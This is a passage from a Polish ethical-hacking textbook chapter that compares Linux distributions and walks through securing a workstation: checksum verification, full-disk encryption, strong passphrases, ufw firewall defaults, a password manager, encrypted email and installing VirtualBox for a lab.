wadzane do najważniejszych komponentów są udostępniane niemal natychmiastowo.
Choć Gentoo jest godnym podziwu systemem operacyjnym, to dla nowych użytkowników bywa
przytłaczający i niepotrzebnie skomplikowany. Zalecamy jednak wypróbować go przynajmniej raz,
aby lepiej zapoznać się z różnymi komponentami systemu operacyjnego. Jeżeli jednak nie chcesz
spędzać większości czasu na kompilowaniu kodu źródłowego, to raczej nie polecamy go jako sys-
temu do codziennego użytkowania. Maniacy programowania i wielbiciele Linuksa mogą się w tym
miejscu z nami nie zgadzać, ponieważ używanie tego systemu jest często postrzegane jako dowód
technicznej biegłości.

3681988c430c7fe1e8567c4e2f281f7b
3
56 Rozdział 3  Przygotowanie narzędzi do hakowania

Arch Linux
Arch Linux jest doskonałym połączeniem wielkich możliwości dostarczanych w postaci binarnych
komponentów. Można go traktować jak hybrydę rozbudowanych możliwości podobnych do ofe-
rowanych przez Gentoo ze stabilnością bliską tej znanej z Debiana. Oferuje on szybkość i wydaj-
ność działania dystrybucji binarnej, nie pozbawiając nas elastyczności znanej z komponentów do-
starczanych w postaci kodu źródłowego. Nie jest on przeznaczony dla początkujących użytkowników,
ale zainstalowanie i choć krótkie używanie go z pewnością wiele Cię nauczy. Proces instalacji tej
dystrybucji nie przypomina instalatorów wiodących systemów operacyjnych, takich jak Windows
10, macOS lub Ubuntu. Chcąc zainstalować system Archi Linux, musisz dobrze posługiwać się li-
nuksowym wierszem poleceń i wiedzieć, jak działają wewnętrzne mechanizmy tego systemu. Zaletą
tej dystrybucji jest to, że pozwala ona na daleko idące zmiany swojej konfiguracji, co przekłada się
na dokładną wiedzę o tym, jakie oprogramowanie jest uruchomione w systemie. Nie możemy po-
lecić Arch Linuksa początkującym użytkownikom, ale z pewnością warto go wypróbować, choćby
w maszynie wirtualnej.

Debian
Debian to stabilna dystrybucja Linuksa, która przejmuje na siebie większość procesu instalacji sys-
temu. Domyślnie najnowsze wersje nie zawierają żadnego własnościowego oprogramowania,
firmware’u ani sterowników. Oznacza to, że bez dodatkowej konfiguracji Twój system niekoniecz-
nie będzie działał równie sprawnie jak z systemem Windows lub macOS. Taka konfiguracja nie jest
aż tak złożona jak w przypadku Arch Linux i Gentoo Linux, ale i tak może sprawiać kłopoty oso-
bom zaczynającym pracę z Linuksem. System Kali Linux, który będziemy później instalować
w maszynie wirtualnej, jest zbudowany w oparciu o Debiana (podobnie jak Ubuntu). Już tylko to
może dawać obraz tego, jak stabilny jest Debian. Dostarcza on skompilowane już pakiety binarne
umożliwiające szybkie wprowadzanie poprawek bezpieczeństwa, pozostawiając nam spory zakres
elastyczności. Oznacza to również, że system operacyjny nie jest specjalnie przystosowany do pracy
z Twoim sprzętem, przez co można nie uzyskać wszystkich możliwości, jakie dostępne są w takich
dystrybucjach jak Gentoo.

Ubuntu
Ubuntu (bazuje na Debianie) jest systemem często wybieranym przez początkujących użytkowni-
ków, ponieważ pozwala na łatwe wejście w świat Linuksa. Proces instalowania systemu jest nie-
skomplikowany i składa się głównie z graficznych okienek dialogowych. Domyślny interfejs użyt-
kownika jest przejrzysty i czytelny oraz trochę podobny do systemu macOS. Jedną z zalet tej
dystrybucji jest to, że jest prawdopodobnie całkowicie kompatybilna z posiadanym przez Ciebie
sprzętem, ponieważ umożliwia łatwe zainstalowanie własnościowego firmware’u i sterowników.
W praktyce oznacza to, że karta dźwiękowa i graficzna, kamerka internetowa, adapter Wi-Fi i inny
sprzęt będą działały zgodnie z oczekiwaniami (co nie zawsze ma miejsce w innych dystrybucjach).
To działa nieporównywalnie lepiej niż w Debianie, który domyślnie nie zawiera żadnego własno-
ściowego oprogramowania i wymaga dodatkowej pracy, aby uruchomić poszczególne urządzenia.

3681988c430c7fe1e8567c4e2f281f7b
3
Kontrolowanie pobranych plików 57

Jeżeli dopiero zaczynasz swoją przygodę z Linuksem, to Ubuntu prawdopodobnie będzie właści-
wym wyborem. System ma rozbudowaną dokumentację dostępną w sieci, dostępnych jest też wiele
poradników i samouczków. Bardzo prawdopodobne jest, że będzie działał poprawnie zaraz po za-
instalowaniu na komputerze.

Kali Linux
Zalecamy, aby system Kali Linux (również bazuje na Debianie) zainstalować w maszynie wirtual-
nej, nie używać go jako systemu operacyjnego hosta. Oczywiście zadziała również w tej roli, ale nie
został zaprojektowany do tego celu. W dalszej części tego rozdziału przedstawimy procedurę insta-
lowania systemu Kali Linux w maszynie wirtualnej. W czasie pisania tej książki Kali Linux był bardzo
popularnym, gotowym narzędziem do wykonywania testów penetracyjnych. Testy penetracyjne są
procesem wyszukiwania w systemie klienta istniejących luk w zabezpieczeniach. Po przeczytaniu
tej książki znacznie lepiej poznasz proces wykonywania tych testów. Kali Linux zawiera cały arsenał
różnych narzędzi przeznaczonych do wykonywania testów penetracyjnych. Można go też urucho-
mić bezpośrednio z nośnika, co oznacza, że pozwala się przenieść na płytę CD lub na pendrive albo
inny nośnik umożliwiający uruchamianie systemu, a następnie uruchomić się bez konieczności
wprowadzania jakichkolwiek zmian na dyskach komputera. W całej książce będziemy korzystać
z tej dystrybucji Linuksa i będziemy używać jej do wykonywania testów penetracyjnych i do hako-
wania. Domyślnie otrzymujemy w niej wiele różnych narzędzi bezpieczeństwa, z których część za-
prezentujemy w tej książce. Można też spróbować pracy z konkurencyjnymi systemami, takimi jak
Black-Arch Linux lub Pentoo Linux, które za swoją bazę wybrały odpowiednio Arch Linux i Gentoo
Linux. Kali Linux jest jednak najczęściej wykorzystywaną dystrybucją, jeżeli chodzi o działania
związane z bezpieczeństwem i hakowaniem, choć podane wcześniej systemy również świetnie na-
dają się do tego celu.

PRACA Z GŁÓWNYMI SYSTEMAMI OPERACYJNYMI

Co prawda wykorzystywanie Linuksa jako głównego systemu operacyjnego ma wiele zalet

z punktu widzenia etycznego hakera, ale równie dobrze można też używać w tej roli jednego
z popularnych systemów, takich jak Windows lub macOS. Należy wtedy skorzystać z maszyn wir-
tualnych. Taka konfiguracja może być lepszym rozwiązaniem, ponieważ Linux zwykle sprawia
problemy przy składzie dokumentów i ich późniejszym udostępnianiu, choć dzięki dostępności
rozwiązań chmurowych, takich jak Office 365, takich problemów jest coraz mniej.

Kontrolowanie pobranych plików

Dowolny plik pobrany z sieci, czy to nowy system operacyjny, czy inny program, powinien zostać
skontrolowany. Trzeba zawsze kontrolować poprawność pobranych plików. Innymi słowy, trzeba
sprawdzać, czy zawartość pliku jest zgodna z oczekiwaniami, aby wykluczyć to, że ktoś nie zmienił
zawartości pobieranego pliku. Taką kontrolę należy przeprowadzać zawsze, niezależnie od tego,
czy plik został pobrany ze strony WWW, czy też za pomocą klienta BitTorrent. Na stronach

3681988c430c7fe1e8567c4e2f281f7b
3
58 Rozdział 3  Przygotowanie narzędzi do hakowania

poszczególnych dystrybucji Linuksa zawsze można znaleźć dokładne instrukcje procedury kontro-
lowania poprawności pobranych plików systemu. W tym miejscu przedstawimy prosty sposób wy-
konania takiej kontroli w systemach Linux i Windows. Użytkownicy korzystający z systemu
macOS mają też podsystem BSD (pochodzący z jądra Mach powstałego na uniwersytecie Carnegie
Mellon, ale to temat na zupełnie inną książkę), który można wykorzystać do uruchamiania wielu
komponentów o otwartych źródłach za pośrednictwem narzędzi Homebrew (brew.sh) lub MacPorts
(www.macports.org).
Po pierwsze należy pobrać (albo przejrzeć) wartość skrótu lub sumy kontrolnej właściwej dla
pobranego przed chwilą pliku. Upewnij się, że używasz właściwego skrótu, który powinien zostać
pobrany za pomocą protokołu HTTPS (Hypertext Transfer Protocol Secure) lub innego zabezpie-
czającego przed nieautoryzowanymi zmianami. Łatwiejszym rozwiązaniem może być proste klik-
nięcie pliku i przejrzenie jego zawartości w przeglądarce.
W pliku zapewne znajdować się będą takie skróty jak MD5, SHA256 lub SHA512. Raczej nie
należy korzystać ze skrótów MD5, ponieważ istnieją już metody generowania kolizji w tym algo-
rytmie, przez co nie nadaje się on do zastosowań związanych z bezpieczeństwem. Na temat funkcji
skrótu i kolizji będziemy mówić w rozdziale 14. Po uzyskaniu kopii pliku ze skrótami trzeba wyge-
nerować własną wartość skrótu na podstawie pobranego wcześniej pliku, a następnie porównać
ze sobą obie wartości. Jeżeli wygenerowana wartość skrótu jest identyczna z wartością pobraną ze
strony WWW, to można mieć pewność, że pobrany plik jest identyczny z oryginałem (oczywiście
warto też skontrolować wartość podpisu, co można zrobić za pomocą OpenPGP) i nikt nie zmienił
jego zawartości. Upewnij się, że pobieranie zostało zakończone, a następnie wpisz w wierszu pole-
ceń Linuksa następujący tekst:
sha256sum <ściezkaDoPliku> > sumaKontrolna.txt

W systemach macOS i BSD należy skorzystać z polecenia sha256. W systemie Windows 10 do-
stępny jest program o nazwie CertUtil, który można uruchomić w wierszu poleceń (po naciśnięciu
klawisza Windows wystarczy wpisać słowo cmd). Jedną z funkcji wykonywanych przez tej program
jest generowanie wartości skrótu. W tym celu należy wprowadzić poniższe polecenie i skopiować
wypisaną wartość skrótu do osobnego pliku:
certutil -hashfile <ściezkaDoPliku> SHA256

Teraz masz już plik pobrany z internetu oraz dwa pliki z wartościami skrótów: jeden uzyskany
ze strony WWW, a drugi wygenerowany samodzielnie. Wystarczy zatem porównać pliki (każdy
z nich powinien zawierać tylko jeden wiersz tekstu z wartością skrótu), aby sprawdzić, czy są iden-
tyczne. W systemie Linux można w tym celu wykorzystać polecenie diff:
diff mojaSumaKontrola.txt SumaKontrolnaSeStronyWWW.txt

Co ciekawe, jeżeli oba pliki są identyczne (co oznacza, że i wartości skrótu są takie same), to
wywołany program nie wypisze niczego. Zwykle do sprawdzenia, czy wartości skrótu są identyczne,
wystarczy szybkie przejrzenie zawartości plików.

3681988c430c7fe1e8567c4e2f281f7b
3
Szyfrowanie dysku 59

Jeżeli poprawnie wykonasz wszystkie kroki kontroli poprawności pobra-

nego pliku i okaże się, że pliki skrótów nie są identyczne, to lepiej zrezygnować z używania
pobranego pliku. Zanim jednak uznasz, że Twój komputer „jest atakowany”, wykonaj kilka
czynności z poniższej listy:
• Sprawdź, czy na końcu jednej z sum kontrolnych nie znajdują się dodatkowe znaki lub
choćby jeden znak. Czasami programy umieszczają tam znak gwiazdki (*) albo nazwę pliku.
• Upewnij się, że suma kontrolna pobrana ze strony WWW została wyliczona dla pliku,
którego chcesz użyć.
• Sprawdź, czy pobierany plik został pobrany w całości, a wyliczona dla niego suma kon-
trolna uwzględnia całość pliku.
Jeżeli po wykonaniu tych kontroli okaże się, że dwie sumy kontrolne nadal nie są identyczne,
to można z tego wyciągnąć następujące wnioski:
• Pobierany plik został przechwycony i zmieniony.
• Plik przechowywany na stronie WWW został zmieniony lub podmieniony. (Mógł to
zrobić twórca pliku, który zapomniał zaktualizować sumę kontrolną).
• Podczas pobierania pliku pojawił się błąd, przez co plik został uszkodzony. W takiej
sytuacji należy spróbować ponownie pobrać ten sam plik.

POBIERANIE ZA POMOCĄ PROTOKOŁU HTTP LUB HTTPS

Jeżeli używasz protokołu HTTP (Hypertext Transfer Protocol) do pobierania plików lub przegląda-
nia stron WWW, to ich zawartość jest przesyłana przez sieć w formie jawnej. Innymi słowy, wszyst-
kie dane płyną przez sieć niezaszyfrowane i mogą zostać przejrzane przez dowolną osobę zdolną
do przechwycenia ruchu sieciowego. Z drugiej strony w protokole HTTPS cała komunikacja jest
zaszyfrowana, co bardzo utrudnia przejrzenie treści w przechwyconym ruchu sieciowym.
Wiele stron WWW umożliwia pobranie plików za pomocą protokołu HTTP, a później za-
chęca do skontrolowania, czy pobrany plik nie został w jakiś sposób zmieniony. Takie kontrole
nie mają sensu, jeżeli przez protokół HTTP przesyłana jest również wartość skrótu tego pliku,
ponieważ ona również może zostać przechwycona i zmieniona. Programiści świadomi tego
ryzyka podają też podpisy do udostępnianych plików, umożliwiające kontrolę za pomocą cer-
tyfikatów, co daje nam pewność, że pobrany plik nie był zmieniany. Do tego celu często sto-
sowany jest pakiet OpenPGP, który umożliwia sprawdzenie, czy plik został zmodyfikowany,
oczywiście pod warunkiem, że dysponujemy właściwym kluczem publicznym. Szczegółowy
opis użycia OpenPGP do takiego zabezpieczania plików znajduje się na stronach WWW wielu
dystrybucji Linuksa.

Szyfrowanie dysku
Jeżeli Twój komputer ma być używany nie tylko do ćwiczenia hakowania, ale również do pracy
z klientami i łączenia się z komputerami klienta, to dobrze byłoby zaszyfrować wszystkie znajdujące się
na dysku dane. Jeżeli taki komputer zostałby skradziony albo ktoś uzyskałby fizyczny dostęp do niego,
to dobrze byłoby, gdyby mógł jedynie stwierdzić, że zawartość dysku HDD lub SSD jest zaszyfrowana.

3681988c430c7fe1e8567c4e2f281f7b
3
60 Rozdział 3  Przygotowanie narzędzi do hakowania

To bardzo utrudnia kradzież danych w porównaniu z sytuacją, gdy wszystko jest dostępne na dysku
bez szyfrowania.
Co prawda można zaszyfrować na dysku jedynie wybrane foldery zawierające istotne dane, ale
w ten sposób podkreślisz jedynie, że zapisujesz w nich coś wartościowego. Dla osoby, która miałaby
dostęp do Twojego komputera, wyszukanie takich folderów byłoby bardzo łatwe, dzięki czemu
mogłaby ona szybko przystąpić do prób rozszyfrowywania. Może się też zdarzyć, że przez pomyłkę
wpiszesz hasło w niewłaściwym okienku, przez co będzie ono widoczne, pozwalając na dostęp do
zabezpieczonych informacji.
Zaleca się zatem, żeby zawsze zaszyfrowywać cały dysk HDD lub SSD. W niektórych systemach
operacyjnych zaszyfrowanie całego dysku nie jest możliwe albo wymaga ponownego zainstalowa-
nia systemu. Użytkownicy systemów Windows 10 muszą zaopatrzyć się w wariant Professional,
aby móc skorzystać z własnościowej funkcji szyfrującej firmy Microsoft — BitLocker. Użytkownicy
systemu macOS mogą chronić swój system za pomocą funkcji FileVault. Zauważysz przy tym, że
zaszyfrowanie całego dysku jest bardzo trudne (a może nawet niemożliwe). Część dysku przecho-
wująca dane niezbędne do uruchomienia systemu operacyjnego zwykle nie może zostać zaszyfro-
wana, ponieważ musi ona zostać odczytana z dysku jeszcze przed rozpoczęciem procesu odszyfro-
wywania. Najprostszą i najskuteczniejszą metodą jest włączenie szyfrowania dysku podczas
instalowania systemu operacyjnego (Debian i Ubuntu udostępniają na te potrzeby proste opcje).
Po zakończeniu instalacji można jeszcze bardziej zabezpieczyć wybrane pliki, tworząc w systemie
zaszyfrowane foldery albo zaszyfrowując pojedyncze maszyny wirtualne.
Do odszyfrowywania dysku podczas uruchamiania systemu należy używać długiego hasła.
Najlepiej by było, gdyby miało ono postać losowej sekwencji znaków alfanumerycznych i róż-
nych symboli. Jeżeli potrzebujesz pomocy przy wybieraniu silnego hasła, przygotuj sobie kilka
kostek do gry, otwórz przeglądarkę i wpisz adres www.diceware.com. Znajdziesz tam dokładne
instrukcje pozwalające wykorzystać słownik jako szyfr z kluczem jednorazowym (z tej metody
korzystali szpiedzy w czasie zimnej wojny do zaszyfrowywania wiadomości), używając przy tym
kostek do gry w roli sprzętowego generatora liczb losowych. Najbezpieczniejsze hasła powinny
być budowane z haseł z Twojego słownika, przedzielanych dodatkowymi znakami dla zwiększe-
nia złożoności. Dobre hasło utworzone za pomocą tej metody powinno wyglądać mniej więcej tak:
probachoru!blef&bania,ognistechni4nLalka. Zapamiętanie takiego hasła nie powinno nastrę-
czać zbyt wielu problemów, a mimo to składa się ono z 40 znaków i samo w sobie nie ma żadnego
sensu. To sprawia, że takie hasło jest praktycznie niemożliwe do odgadnięcia dla człowieka,
a komputerowe wygenerowanie go metodą prób i błędów jest całkowicie nieosiągalne przy obec-
nym stanie techniki.
Oprócz tego można też jednocześnie używać tak przygotowanego hasła oraz pliku klucza. Taki
plik zawiera pozornie losowe dane. Możliwe jest też wykorzystanie pary kluczy PGP zapisanych na
zewnętrznym nośniku, która będzie umożliwiać rozszyfrowanie komputera. Nie zaleca się jednak
stosowanie wyłącznie takich plików do zabezpieczania danych, ponieważ takie pliki mogą zostać
uszkodzone albo skradzione. Jeżeli zapomnisz swojego hasła albo zgubisz plik klucza, to stracisz
możliwość odszyfrowania swojego urządzenia. W przypadku odpowiednio złożonego hasła i po-
prawnie wygenerowanego pliku klucza odszyfrowanie danych będzie wymagało gigantycznego na-
kładu energii i długiego czasu.

3681988c430c7fe1e8567c4e2f281f7b
3
Podstawowe oprogramowanie 61

Upewnij się, że Twoje hasło i plik klucza są zapisane w bezpiecznym miejscu. Hasło używane
do rozszyfrowywania dysku nie powinno być używane w żadnym innym miejscu. Po bezpiecznym
wygenerowaniu hasła możesz je zapisać w bezpiecznym miejscu do czasu, aż je zapamiętasz.
Po zapamiętaniu hasła tak zapisana kopia powinna zostać natychmiast zniszczona. Może się to wy-
dawać przesadą, ale po przeczytaniu tej książki zrozumiesz, dlaczego taka staranność jest niezbędna.
Warto tu zaznaczyć, że już kilka razy jeden z autorów tej książki stracił istotne dane, bo zapo-
mniał hasła do różnych systemów. (Pamięta tylko to, że hasło miało coś wspólnego z pewną marką
czekoladek). Jeżeli zdecydujesz się zastosować skomplikowane i trudne do zapamiętania hasło, to
być może warto przechowywać zapisaną kopię tego hasła w jakimś bezpiecznym miejscu. Najlepiej
z dala od ewentualnych złodziei komputerowych. Zawsze trzeba brać pod uwagę scenariusz, w któ-
rym przez dłuższy czas nie korzystasz ze swoich zaszyfrowanych danych, a potem nie pamiętasz,
jak się do nich dostać!
Przy zastosowaniu domyślnych ustawień szyfrowania dysku w systemach Debian i Ubuntu mo-
żesz zauważyć, że instalator systemu tworzy na dysku kilka partycji. Zauważysz też, że tworzone są
wirtualne „urządzenia szyfrujące”. Mała partycja rozruchowa EFI nie jest szyfrowana, ale wszystkie
pozostałe już tak.
Na pewnym etapie instalowania systemu pojawi się prośba o utworzenie nowego użytkownika
(a przynajmniej o zabezpieczenie hasłem użytkownika root). O nowych użytkownikach można
myśleć jak o użytkownikach administracyjnych, dlatego tu również warto zastosować silne, niepo-
wtarzalne hasło. Takie konta i hasła umożliwiają później instalowanie i usuwanie oprogramowania
z systemu oraz pełen dostęp do wszystkich plików w systemie.
Po zakończeniu instalacji możesz od razu uruchomić swój nowy system operacyjny. Wprowa-
dzanie dwóch haseł (hasła szyfrującego dysk i hasła użytkownika) może wydawać się uciążliwe,
ale można się do tego szybko przyzwyczaić!

Podstawowe oprogramowanie
Po pobraniu, skontrolowaniu i zainstalowaniu systemu operacyjnego hosta (z włączonym szyfro-
waniem dysku) musisz zainstalować i skonfigurować dodatkowe oprogramowanie. Na tym etapie
przejrzymy różne programy i narzędzia, które uznawane są za niezbędne w ochronie własnego sys-
temu przed atakami. Możesz instalować oprogramowanie i zarządzać nim, używając do tego na-
rzędzia z interfejsem graficznym (GUI — Graphical User Interface), udostępnianego przez sam
system operacyjny. Mimo to zalecamy, żeby korzystać z wiersza poleceń, ponieważ w ten sposób
wykształcasz w sobie nawyki, które będą potrzebne przy pracy w kolejnych rozdziałach i generalnie
w pracy hakera! W tym miejscu zakładamy, że pracujesz w jednej z dystrybucji Linuksa, takiej jak
Debian lub Ubuntu. Przed zainstalowaniem jakichkolwiek programów sprawdź, czy Twój system
jest w pełni zaktualizowany, używając do tego poniższego polecenia, które sprawdzi zawartość sie-
ciowych repozytoriów Debiana lub Ubuntu:
sudo apt update

Polecenie sudo jest skrótem od słów super-user do (zrób, superużytkowniku) i jest niezbędne do
wykonywania zadań wymagających uprawnień administratora. Wywołane polecenie poprosi o po-
danie hasła, a następnie wykona następne polecenie we wprowadzonym wierszu (w tym przypadku

3681988c430c7fe1e8567c4e2f281f7b
3
62 Rozdział 3  Przygotowanie narzędzi do hakowania

będzie to polecenie apt), tak jakby uruchomił je administrator systemu. Program apt otrzyma tutaj
pojedynczy parametr — update. Aby dowiedzieć się więcej na temat polecenia apt, możesz prze-
czytać poświęconą mu stronę podręcznika, wywołując ją za pomocą polecenia:
man apt

Ubuntu różni się od innych dystrybucji Linuksa, ponieważ w tym systemie konto
użytkownika root jest domyślnie wyłączone. Inne dystrybucje Linuksa i Uniksa zawsze de-
finiują użytkownika root (w Uniksie nazywany jest on superużytkownikiem), o którym można
myśleć jak o koncie z pełnym dostępem do wszystkich plików w systemie. W systemach
Windows podobne uprawnienia ma konto użytkownika administrator. System macOS (ba-
zujący na Uniksie) również oddziela zwykłych użytkowników od konta użytkownika root.
Polecenie sudo jest używane (nie tylko w Ubuntu) do uruchamiania pojedynczych poleceń
z uprawnieniami użytkownika root. To polecenie zostanie wykonane poprawnie tylko
w przypadku, gdy wprowadzający je użytkownik znajduje się na liście uprawnionych.
W systemach FreeBSD i OpenBSD podobnie działa polecenie doas .

Po wykonaniu polecenia apt update dowiesz się, że Twój system jest zaktualizowany albo że
wymaga aktualizacji. Samo wykonanie aktualizacji systemu wymaga wprowadzenia polecenia sudo
apt upgrade.

MENEDŻERY PAKIETÓW

Systemy Ubuntu i Debian używają menedżera pakietów APT (Aptitude Package Manager) pozwa-
lającego instalować oprogramowanie, zarządzać nim i je usuwać. Pakiet to pojęcie używane
w systemach linuksowych, oznaczające oprogramowanie lub aplikację. W tym kontekście pakiet
jest synonimem aplikacji. Te same zasady obowiązują też podczas pobierania programów
z usług Google Play lub Apple App Store. Spójność pobieranego i instalowanego w ten sposób
oprogramowania jest kontrolowana przez menedżer pakietów.

Zapora sieciowa
Po zaktualizowaniu systemu należy przystąpić do skonfigurowania zapory sieciowej. W tym miej-
scu warto skorzystać z narzędzia o nazwie ufw (Uncomplicated Firewall — nieskomplikowana za-
pora sieciowa). Zakładamy, że Twój komputer jest podłączony do internetu za pośrednictwem rou-
tera, który już teraz daje Ci pewną ochronę przed najprostszymi atakami. Gdy nabierzesz pewnego
doświadczenia, zaczniesz dodawać własne reguły do konfiguracji zapory sieciowej, na przykład
otwierając porty dla przesyłanych komunikatów (więcej na ten temat dowiesz się później). Na razie
przyjrzyjmy się podstawom. Za pomocą polecenia sudo ufw help wyświetlisz przykłady prostych
działań wykonywanych przez narzędzie ufw. Jeżeli samo narzędzie nie jest zainstalowane, użyj po-
lecenia sudo apt install ufw.
Zalecamy, żeby przynajmniej zatrzymywać lub odrzucać całość ruchu przychodzącego. Można
to zrobić za pomocą poniższego polecenia:
sudo ufw default deny incoming

Następnie trzeba jeszcze włączyć zaporę sieciową za pomocą tego polecenia:

sudo ufw enable

3681988c430c7fe1e8567c4e2f281f7b
3
Podstawowe oprogramowanie 63

Po uruchomieniu tego polecenia na ekranie powinien się pojawić taki komunikat:

Firewall is active and enabled on system startup

Za pomocą poniższego polecenia można w każdej chwili skontrolować stan zapory sieciowej:
sudo ufw status verbose

W efekcie na ekranie powinny pojawić się następujące komunikaty:

Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip

Można też zablokować ruch wychodzący, wprowadzając polecenie sudo ufw denny outgoing,
ale w ten sposób uniemożliwisz sobie (i wszystkim programom działającym na tym komputerze)
dostęp do sieci lokalnej oraz internetu.
Często stosowaną praktyką jest odgórne blokowanie całości ruchu wychodzącego i zezwalanie
wyłącznie na wybrane rodzaje ruchu, na przykład dla stron WWW oraz wiadomości e-mail. Nie
będziemy się tutaj przyglądać dokładniej tej strategii, ponieważ nie jest ona konieczna dla dalszych
prac. Czytając kolejne rozdziały tej książki, nabierzesz jednak umiejętności i wiedzy, które umożli-
wią Ci odpowiednie skonfigurowanie zapory. Jeżeli chcesz się dowiedzieć, jak działa narzędzie ufw,
możesz przeczytać stronę podręcznika dla polecenia IPtables (użyj do tego polecenia man iptables),
które sprawuje kontrolę nad tabelami stosowanymi przy filtrowaniu ruchu sieciowego w Linuksie.
Narzędzie ufw jest właściwie jedynie opakowaniem dla znacznie bardziej rozbudowanych możli-
wości programu IPtables.

Menedżer haseł
Zalecamy też zainstalowanie menedżera haseł i stosowanie go do generowania (można też użyć
kostek do gry) i przechowywania haseł dostępu do różnych usług sieciowych. Menedżery haseł
zostały wbudowane w większość systemów operacyjnych (przykładem może być Keychain Access
firmy Apple) oraz w część przeglądarek. Istnieje też wiele rozwiązań sieciowych, takich jak 1Pas-
sword (1password.com). Do użytku prywatnego polecamy jednak narzędzie o nazwie KeePassX
(www.keepassx.org). Ten menedżer haseł można zainstalować w systemach Linux, BSD, macOS lub
Windows. Aby zainstalować go w Debianie lub Ubuntu, wystarczy wprowadzić poniższe polecenie:
sudo apt install keepassx

KeePassX jest programem z łatwym w użyciu interfejsem graficznym, udostępniającym proste

instrukcje organizowania haseł w bazie danych. Na początek trzeba utworzyć nową bazę danych
i zabezpieczyć ją za pomocą unikalnego, silnego hasła. W tak przygotowanej bazie można tworzyć
pozycje przechowujące dane logowania do różnych usług. Każda z tych pozycji składa się z nazwy
użytkownika, hasła oraz innych potrzebnych Ci informacji. Program umożliwia też generowanie
losowych haseł o podanej długości. KeePassX zaszyfrowuje pliki baz danych, chroniąc tym samym
zapisane w nich hasła. Istnieją też narzędzia siłowo rozszyfrowujące pliki programu KeePassX, dla-
tego można dodatkowo chronić bazę danych za pomocą pliku klucza zapisanego na nośniku wy-
miennym lub na pendrive’ie.

3681988c430c7fe1e8567c4e2f281f7b
3
64 Rozdział 3  Przygotowanie narzędzi do hakowania

E-mail
Przygotuj sobie odpowiednie rozwiązania do wysyłania i odbierania zaszyfrowanych wiadomości
e-mail, szczególnie jeżeli chcesz wymieniać się informacjami dotyczącymi bezpieczeństwa, takimi
jak raporty na temat podatności. Najłatwiej można to zrobić, wykorzystując OpenPGP w połącze-
niu z wtyczką do klienta pocztowego, taką jak Enigmail dla programu Mozilla Thunderbird. Może
się okazać, że Twój klient nie używa OpenPGP i nie ma ochoty odpowiednio skonfigurować klienta
pocztowego. Trzeba wtedy znaleźć jakąś inną metodę. Jednym z dostępnych rozwiązań, które jest
łatwiejsze do zaakceptowania przez klientów, jest zastosowanie plików ZIP zaszyfrowanych proto-
kołem AES (Advanced Encryption Standard). Gdy pisaliśmy tę książkę, wariant AES-256 uznawany
był za wystarczająco bezpieczny. Takie pliki można tworzyć i rozszyfrowywać za pomocą takich pro-
gramów jak 7zip (www.7-zip.org), które są dostępne dla systemów Windows oraz systemów unik-
sowych. Niezależnie od stosowanego klienta pocztowego zaszyfrowany plik można przesyłać jako
załącznik, podobnie jak robi się to z innymi plikami. Hasło potrzebne do rozszyfrowania pliku po-
winno zostać przesłane niezależnym kanałem, czyli za pomocą kanału komunikacyjnego innego
niż użyty do przesłania pliku (w tym przypadku nie powinien to być kolejny e-mail). Można wy-
korzystać połączenie telefoniczne, wiadomość SMS albo jeszcze lepiej — wiadomość przesłaną
za pomocą bezpiecznego komunikatora.

Unikaj stosowania domyślnego szyfrowania plików ZIP, ponieważ nie za-

pewnia ono wystarczającej ochrony przed aktualnymi aktami.

Konfigurowanie VirtualBoksa
Teraz pokażemy, jak można skonfigurować wirtualnego hosta za pomocą programu hypervisora.
Skupimy się tu na programie VirtualBox, czyli otwartoźródłowym programie dostępnym pod adre-
sem https://www.virtualbox.org. Pozwoli to na tworzenie w Twoim systemie różnych laboratoriów
do hakowania bez konieczności kupowania kolejnych komputerów!

Ustawienia wirtualizacji
Większość komputerów ma w opcjach BIOS-u lub UEFI ustawienie pozwalające włączyć sprzętową
wirtualizację. Zalecamy włączyć tę opcję, aby uzyskać najlepszą wydajność swoich maszyn wirtu-
alnych. Wspominamy tu o tym, ponieważ w wielu komputerach ta opcja jest domyślnie wyłączona.
Włączenie jej umożliwia programom takim jak VirtualBox wykorzystywanie dodatkowych in-
strukcji wirtualizacji. Zaleca się też zabezpieczenie ustawień BIOS-u lub UEFI za pomocą silnego
hasła. Podobnie jak w przypadku innych haseł, to również powinno zostać wygenerowane losowo
i zapisane w bezpiecznym miejscu. Jeżeli nie wiesz, jak zmienić ustawienia swojego BIOS-u lub
UEFI, przejrzyj dokumentację komputera lub stronę WWW jego producenta. Włączenie pro-
gramu ustawień zwykle jest możliwe za pomocą naciśnięcia klawisza ESC, F1, F10 lub F12 w czasie,
gdy komputer wykonuje wstępny test (POST) zaraz po uruchomieniu.

3681988c430c7fe1e8567c4e2f281f7b
3
Konfigurowanie VirtualBoksa 65

Pobieranie i instalowanie VirtualBoksa

Zalecamy stosowanie VirtualBoksa, ponieważ jest to program całkowicie wystarczający na po-
trzeby hakowania. Istnieją też inne rozwiązania z tej kategorii, takie jak Vmware lub Hyper-V, ale
korzystanie z nich różni się nieco od tego, co będziemy podawać w tej książce. Najpierw pobierz ze
strony www.virtualbox.org i skontroluj najnowszą wersję VirtualBoksa dla swojego systemu ope-
racyjnego. Dokładne instrukcje oraz informacje o zaawansowanych metodach używania tego pro-
gramu znajdziesz pod adresem www.virtualbox.org/manual.
W podawanych tu przykładach będziemy używać wersji VirtualBox 6.0. Po pobraniu wersji
właściwej dla swojego systemu operacyjnego musisz skontrolować pobrany plik, porównując war-
tość skrótu SHA256 podawaną na stronach VirtualBoksa z wartością skrótu wygenerowaną lokal-
nie, o czym mówiliśmy już wcześniej. Na stronach VirtualBoksa znajdziesz też dokładne instrukcje
instalowania programu w Twoim systemie operacyjnym.
W systemach Debian i Ubuntu VirtualBoksa można zainstalować za pomocą poniższego pole-
cenia, po uprzednim pobraniu właściwego pliku instalacyjnego (pakietu .deb):
sudo dpkg -i <PlikInstalacyjny>

Podczas instalowania VirtualBoksa w niektórych dystrybucjach Linuksa mogą

pojawić się pewne problemy. Na przykład możesz zobaczyć komunikaty wspominające
o zależnościach. Przeczytaj dokładnie takie komunikaty, aby uzyskać informacje o krokach
niezbędnych do rozwiązania problemu.

Po zainstalowaniu można uruchomić VirtualBoksa, wpisując w oknie terminala polecenie

virtualbox.

Sieć wewnątrz hosta

Przed utworzeniem maszyn wirtualnych dobrze jest przygotować sieć wewnątrz swojego kompu-
tera (ang. host-only network). W ten sposób umożliwisz tworzonym maszynom wirtualnym komu-
nikowanie się między sobą, tak jakby były one częścią tej samej sieci lokalnej. Taka sieć nosi nazwę
